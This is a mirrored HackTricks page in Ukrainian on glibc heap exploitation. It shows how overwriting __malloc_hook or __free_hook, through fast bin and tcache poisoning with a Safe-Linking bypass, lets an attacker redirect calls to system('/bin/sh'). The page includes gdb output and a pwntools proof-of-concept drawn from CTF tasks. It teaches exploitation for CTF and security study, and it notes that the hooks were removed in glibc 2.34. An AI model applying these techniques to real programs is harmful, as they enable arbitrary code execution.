mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
136 lines
9.9 KiB
Markdown
136 lines
9.9 KiB
Markdown
# WWW2Exec - __malloc_hook & __free_hook
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Malloc Hook**
|
||
|
||
Як ви можете побачити на [Офіційному сайті GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), змінна **`__malloc_hook`** є вказівником, що вказує на **адресу функції, яка буде викликана** щоразу, коли викликається `malloc()`, **збережену в секції даних бібліотеки libc**. Тому, якщо ця адреса буде перезаписана, наприклад, **One Gadget**, і буде викликано `malloc`, то **буде викликано One Gadget**.
|
||
|
||
Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши `printf("%10000$c")**, що виділяє занадто багато байтів, змушуючи `libc` викликати malloc для їх виділення в купі.
|
||
|
||
Більше інформації про One Gadget в:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||
{{#endref}}
|
||
|
||
> [!WARNING]
|
||
> Зверніть увагу, що хуки **вимкнені для GLIBC >= 2.34**. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
|
||
## Free Hook
|
||
|
||
Це було зловжито в одному з прикладів на сторінці, зловживаючи атакою швидкого біну після зловживання атакою неупорядкованого біну:
|
||
|
||
{{#ref}}
|
||
../libc-heap/unsorted-bin-attack.md
|
||
{{#endref}}
|
||
|
||
Можливо знайти адресу `__free_hook`, якщо бінарний файл має символи, використовуючи наступну команду:
|
||
```bash
|
||
gef➤ p &__free_hook
|
||
```
|
||
[У пості](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) ви можете знайти покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
|
||
|
||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||
0xf75dedc0 <free>: push ebx
|
||
0xf75dedc1 <free+1>: call 0xf768f625
|
||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||
0xf75dedcc <free+12>: sub esp,0x8
|
||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
|
||
</strong>0xf75deddb <free+27>: test eax,eax ;<
|
||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||
</code></pre>
|
||
|
||
У вказаній точці зупинки в попередньому коді в `$eax` буде знаходитися адреса free hook.
|
||
|
||
Тепер виконується **швидка атака на бін**:
|
||
|
||
- По-перше, виявлено, що можливо працювати з швидкими **частинами розміру 200** в місці **`__free_hook`**:
|
||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
</code></pre>
|
||
- Якщо нам вдасться отримати швидку частину розміру 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана.
|
||
- Для цього створюється нова частина розміру `0xfc`, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнену частину розміру `0xfc*2 = 0x1f8` у швидкому біні.
|
||
- Потім викликається функція редагування в цій частині, щоб змінити адресу **`fd`** цієї швидкої біну, щоб вказати на попередню функцію **`__free_hook`**.
|
||
- Потім створюється частина розміру `0x1f8`, щоб отримати з швидкого біну попередню непотрібну частину, тому створюється ще одна частина розміру `0x1f8`, щоб отримати швидку частину в **`__free_hook`**, яка перезаписується адресою функції **`system`**.
|
||
- І нарешті, частина, що містить рядок `/bin/sh\x00`, звільняється, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром.
|
||
|
||
---
|
||
|
||
## Отруєння Tcache & Safe-Linking (glibc 2.32 – 2.33)
|
||
|
||
glibc 2.32 представив **Safe-Linking** – перевірку цілісності, яка захищає *однозв'язні* списки, що використовуються **tcache** та швидкими біном. Замість того, щоб зберігати сирий прямий вказівник (`fd`), ptmalloc тепер зберігає його *обфусцированим* за допомогою наступного макросу:
|
||
```c
|
||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||
```
|
||
Наслідки для експлуатації:
|
||
|
||
1. **heap leak** є обов'язковим – зловмисник повинен знати значення `chunk_addr >> 12` під час виконання, щоб створити дійсний обфусцований вказівник.
|
||
2. Можна підробити лише *повний* 8-байтовий вказівник; часткові перезаписи одного байта не пройдуть перевірку.
|
||
|
||
Мінімальний примітив отруєння tcache, який перезаписує `__free_hook` на glibc 2.32/2.33, виглядає так:
|
||
```py
|
||
from pwn import *
|
||
|
||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||
p = process("./vuln")
|
||
|
||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||
heap_base = heap_leak & ~0xfff
|
||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||
log.success(f"heap @ {hex(heap_base)}")
|
||
|
||
# 2. Prepare two same-size chunks and double-free one of them
|
||
a = malloc(0x48)
|
||
b = malloc(0x48)
|
||
free(a)
|
||
free(b)
|
||
free(a) # tcache double-free ⇒ poisoning primitive
|
||
|
||
# 3. Forge obfuscated fd that points to __free_hook
|
||
free_hook = libc.sym['__free_hook']
|
||
poison = free_hook ^ fd_key
|
||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||
|
||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||
malloc(0x48) # returns chunk a
|
||
c = malloc(0x48) # returns chunk @ __free_hook
|
||
edit(c, p64(libc.sym['system']))
|
||
|
||
# 5. Trigger
|
||
bin_sh = malloc(0x48)
|
||
edit(bin_sh, b"/bin/sh\x00")
|
||
free(bin_sh)
|
||
```
|
||
Фрагмент вище був адаптований з недавніх CTF викликів, таких як *UIUCTF 2024 – «Rusty Pointers»* та *openECSC 2023 – «Babyheap G»*, обидва з яких покладалися на обходи Safe-Linking для перезапису `__free_hook`.
|
||
|
||
---
|
||
|
||
## Що змінилося в glibc ≥ 2.34?
|
||
|
||
Починаючи з **glibc 2.34 (серпень 2021)**, хуки виділення пам'яті `__malloc_hook`, `__realloc_hook`, `__memalign_hook` та `__free_hook` були **видалені з публічного API і більше не викликаються аллокатором**. Символи сумісності все ще експортуються для застарілих бінарних файлів, але їх перезапис більше не впливає на контрольний потік `malloc()` або `free()`.
|
||
|
||
Практичне значення: на сучасних дистрибутивах (Ubuntu 22.04+, Fedora 35+, Debian 12 тощо) ви повинні перейти до *інших* примітивів захоплення (IO-FILE, `__run_exit_handlers`, розпилення vtable тощо), оскільки перезаписи хуків будуть тихо зазнавати невдачі.
|
||
|
||
Якщо вам все ще потрібна стара поведінка для налагодження, glibc постачає `libc_malloc_debug.so`, який можна попередньо завантажити, щоб знову активувати застарілі хуки – але бібліотека **не призначена для виробництва і може зникнути в майбутніх випусках**.
|
||
|
||
---
|
||
|
||
## Посилання
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
- Safe-Linking – Усунення 20-річного експлойту malloc() (Check Point Research, 2020)
|
||
- примітки до випуску glibc 2.34 – видалення хуків malloc
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|